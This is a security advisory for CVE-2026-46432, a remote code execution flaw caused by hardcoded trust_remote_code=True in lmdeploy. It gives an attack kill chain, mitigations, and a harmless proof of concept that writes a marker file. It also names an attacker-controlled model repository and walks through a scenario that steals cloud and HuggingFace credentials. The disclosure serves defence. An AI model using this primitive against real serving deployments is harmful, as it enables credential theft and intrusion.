CVE-2026-46432: lmdeploy: hardcoded trust_remote_code enables RCE

GHSA-m549-qq94-fvhg HIGH
Published May 21, 2026
CISO Take

lmdeploy unconditionally passes trust_remote_code=True to HuggingFace Transformers APIs during model initialization, meaning any attacker who can influence the model path fed to a serving process can execute arbitrary Python code with no user opt-in required and no version of lmdeploy ≤0.12.3 is exempt. With 8,012 downstream dependents and lmdeploy routinely deployed as a GPU-backed serving daemon with access to cloud credentials, HuggingFace tokens, and internal network resources, the blast radius for LLM inference infrastructure teams is significant. The attack surface is broader than the local CVSS 7.8 vector implies: in Kubernetes, managed inference platforms, and CI/CD-driven deployments, model path control is achievable via configuration tampering or insider access — not host-level compromise. Upgrade to lmdeploy 0.13.0 immediately; as an interim control, enforce an allowlist of trusted model sources and audit all deployment configs for externally-supplied model identifiers.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

High risk with elevated blast radius in cloud-native and multi-tenant AI serving environments. The CVSS 7.8 local attack vector understates real-world exposure: in Kubernetes, CI/CD, and managed inference platforms, controlling a model path requires configuration access rather than direct host compromise. The vulnerability is unconditional — no operator override or explicit opt-in can remove the exposure on any lmdeploy version ≤0.12.3. An OpenSSF Scorecard of 4.7/10 signals weak supply chain controls for the package itself, and 29 prior CVEs in lmdeploy indicate a pattern of insufficient security rigor. No public exploit or scanner template exists yet, but the attack primitive is well-understood and requires no specialized AI/ML knowledge — only the ability to register a HuggingFace repository and modify a deployment config.

Attack Kill Chain

Configuration Tampering
Attacker gains write access to deployment configuration (Kubernetes ConfigMap, CI/CD pipeline variable, or managed platform config) and substitutes the model path with an attacker-controlled HuggingFace repository identifier.
AML.T0010.003
Malicious Model Staging
Attacker creates and publishes a HuggingFace repository containing a malicious modeling script that executes a payload at import time when loaded by the HuggingFace Transformers library.
AML.T0058
Remote Code Execution
lmdeploy calls AutoConfig.from_pretrained(model_path, trust_remote_code=True); Transformers downloads and executes the malicious Python script with the full privileges of the serving process.
AML.T0018.002
Credential Harvest and Lateral Movement
Malicious code exfiltrates environment variables containing HuggingFace tokens, cloud credentials, and API keys to an attacker-controlled endpoint, then optionally pivots to internal services reachable from the serving host.
AML.T0055

What systems are affected?

Package Ecosystem Vulnerable Range Patched
lmdeploy pip < 0.13.0 0.13.0
160.7K OpenSSF 4.7 8.0K dependents Pushed 4d ago 40% patched ~96d to patch Full package profile →

Do you use lmdeploy? You're affected.

Severity & Risk

CVSS 3.1
7.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Moderate

Attack Surface

AV AC PR UI S C I A
AV Local
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Upgrade lmdeploy to 0.13.0 (the patched release that removes unconditional trust_remote_code=True).

  2. Audit all deployment configurations, CI/CD pipelines, Kubernetes manifests, Helm charts, and serving scripts for any user-controllable or externally-sourced model path inputs — treat these as untrusted input requiring validation.

  3. Implement an allowlist of approved HuggingFace model repositories (e.g., via network egress policy or a validation layer) and block serving processes from loading models outside this list.

  4. Run lmdeploy under a dedicated least-privilege service account — avoid injecting cloud credentials as environment variables; use IAM instance roles or secrets managers with scoped, short-lived credentials.

  5. Apply container security controls (seccomp, AppArmor, no-new-privileges, read-only rootfs where possible) to limit post-exploitation blast radius.

  6. Monitor for anomalous outbound network connections, unexpected subprocess spawning, or file writes originating from lmdeploy processes during model initialization as indicators of exploitation.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.6.1.6 - AI supply chain risk management
NIST AI RMF
MAP 5.2 - AI supply chain risks are identified and assessed
OWASP LLM Top 10
LLM03:2025 - Supply Chain

Frequently Asked Questions

What is CVE-2026-46432?

lmdeploy unconditionally passes trust_remote_code=True to HuggingFace Transformers APIs during model initialization, meaning any attacker who can influence the model path fed to a serving process can execute arbitrary Python code with no user opt-in required and no version of lmdeploy ≤0.12.3 is exempt. With 8,012 downstream dependents and lmdeploy routinely deployed as a GPU-backed serving daemon with access to cloud credentials, HuggingFace tokens, and internal network resources, the blast radius for LLM inference infrastructure teams is significant. The attack surface is broader than the local CVSS 7.8 vector implies: in Kubernetes, managed inference platforms, and CI/CD-driven deployments, model path control is achievable via configuration tampering or insider access — not host-level compromise. Upgrade to lmdeploy 0.13.0 immediately; as an interim control, enforce an allowlist of trusted model sources and audit all deployment configs for externally-supplied model identifiers.

Is CVE-2026-46432 actively exploited?

No confirmed active exploitation of CVE-2026-46432 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-46432?

1. Upgrade lmdeploy to 0.13.0 (the patched release that removes unconditional trust_remote_code=True). 2. Audit all deployment configurations, CI/CD pipelines, Kubernetes manifests, Helm charts, and serving scripts for any user-controllable or externally-sourced model path inputs — treat these as untrusted input requiring validation. 3. Implement an allowlist of approved HuggingFace model repositories (e.g., via network egress policy or a validation layer) and block serving processes from loading models outside this list. 4. Run lmdeploy under a dedicated least-privilege service account — avoid injecting cloud credentials as environment variables; use IAM instance roles or secrets managers with scoped, short-lived credentials. 5. Apply container security controls (seccomp, AppArmor, no-new-privileges, read-only rootfs where possible) to limit post-exploitation blast radius. 6. Monitor for anomalous outbound network connections, unexpected subprocess spawning, or file writes originating from lmdeploy processes during model initialization as indicators of exploitation.

What systems are affected by CVE-2026-46432?

This vulnerability affects the following AI/ML architecture patterns: LLM inference serving, model serving infrastructure, MLOps pipelines, multi-tenant AI platforms, GPU inference clusters.

What is the CVSS score for CVE-2026-46432?

CVE-2026-46432 has a CVSS v3.1 base score of 7.8 (HIGH).

Technical Details

NVD Description

## Summary lmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites. The affected code paths are in: ```text lmdeploy/archs.py lmdeploy/utils.py ```` The vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`. Because the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository. Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process. ## Affected version Confirmed affected: ```text lmdeploy <= 0.12.3 ``` The issue was verified on `v0.12.3` and on `main`. ## Vulnerable code Confirmed call sites: ```text lmdeploy/archs.py:154 AutoConfig.from_pretrained(..., trust_remote_code=True) lmdeploy/archs.py:157 PretrainedConfig.get_config_dict(..., trust_remote_code=True) lmdeploy/utils.py:225 GenerationConfig.from_pretrained(..., trust_remote_code=True) ``` The vulnerable pattern is: ```python AutoConfig.from_pretrained(model_path, trust_remote_code=True) ``` and: ```python GenerationConfig.from_pretrained(path, trust_remote_code=True) ``` The risk is that `trust_remote_code=True` is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option. ## Attack scenario 1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving. 2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example: ```text attacker-org/malicious-model ``` 3. The lmdeploy serving process starts with that model path: ```bash lmdeploy serve api_server attacker-org/malicious-model ``` 4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with `trust_remote_code=True`. 5. Transformers loads and executes remote Python code from the attacker-controlled model repository. 6. The payload runs with the privileges of the lmdeploy serving process. ## Why this is security-sensitive `trust_remote_code=True` is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading. In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as `--trust-remote-code`. lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources. ## Proof of concept The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with `trust_remote_code=True` and shows that remote model code would execute during initialization. ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import importlib.util import os import sys import tempfile from pathlib import Path MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF") MALICIOUS_MODEL = "attacker-org/malicious-model" def simulate_lmdeploy_model_load(model_path: str) -> None: """ Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded. Real vulnerable pattern: AutoConfig.from_pretrained(model_path, trust_remote_code=True) GenerationConfig.from_pretrained(path, trust_remote_code=True) When trust_remote_code=True, a malicious HuggingFace model repository can execute custom Python code during loading. """ fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_")) module_name = model_path.split("/")[-1].replace("-", "_") modeling_file = fake_model_dir / f"modeling_{module_name}.py" payload = f''' import os from pathlib import Path Path("{MARKER}").write_text( "lmdeploy trust_remote_code execution confirmed\\n" f"model_path={model_path!r}\\n" f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n" ) ''' modeling_file.write_text(payload) spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file) assert spec is not None and spec.loader is not None mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--model-id", default=MALICIOUS_MODEL) args = parser.parse_args() if MARKER.exists(): MARKER.unlink() print(f"[*] Simulating lmdeploy loading model: {args.model_id}") print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths") simulate_lmdeploy_model_load(args.model_id) if MARKER.exists(): print("[+] Code execution confirmed") print(MARKER.read_text()) return 0 print("[-] Marker file was not created", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main()) ``` Expected result: ```text [+] Code execution confirmed ``` The marker file is written to: ```text /tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF ``` ## Impact An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization. The attacker may be able to: * Read files accessible to the lmdeploy process. * Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys. * Modify model-serving behavior or tamper with responses. * Execute arbitrary operating-system commands. * Access request data or internal service credentials available to the serving process. * Cause denial of service by crashing or destabilizing the serving daemon. * Pivot to internal services reachable from the lmdeploy host or container.

Exploitation Scenario

An attacker with write access to a Kubernetes ConfigMap or a shared MLOps platform's model registry configuration modifies the model identifier parameter to point to an attacker-controlled HuggingFace repository (e.g., attacker-org/malicious-llm). The repository contains a well-formed model card and a malicious modeling script whose import-time code reads HUGGING_FACE_HUB_TOKEN, AWS_SECRET_ACCESS_KEY, and other credentials from the process environment, then exfiltrates them to an attacker-controlled HTTPS endpoint. When the lmdeploy pod restarts on the next scheduled rollout or node replacement, lmdeploy calls AutoConfig.from_pretrained('attacker-org/malicious-llm', trust_remote_code=True), HuggingFace Transformers downloads and executes the script, and the payload completes silently — the serving process continues normally, responses appear legitimate, and no anomaly appears in model outputs or application logs. The attacker now holds valid cloud credentials and a HuggingFace token with access to private model repositories.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 21, 2026
Last Modified
May 21, 2026
First Seen
May 21, 2026

Related Vulnerabilities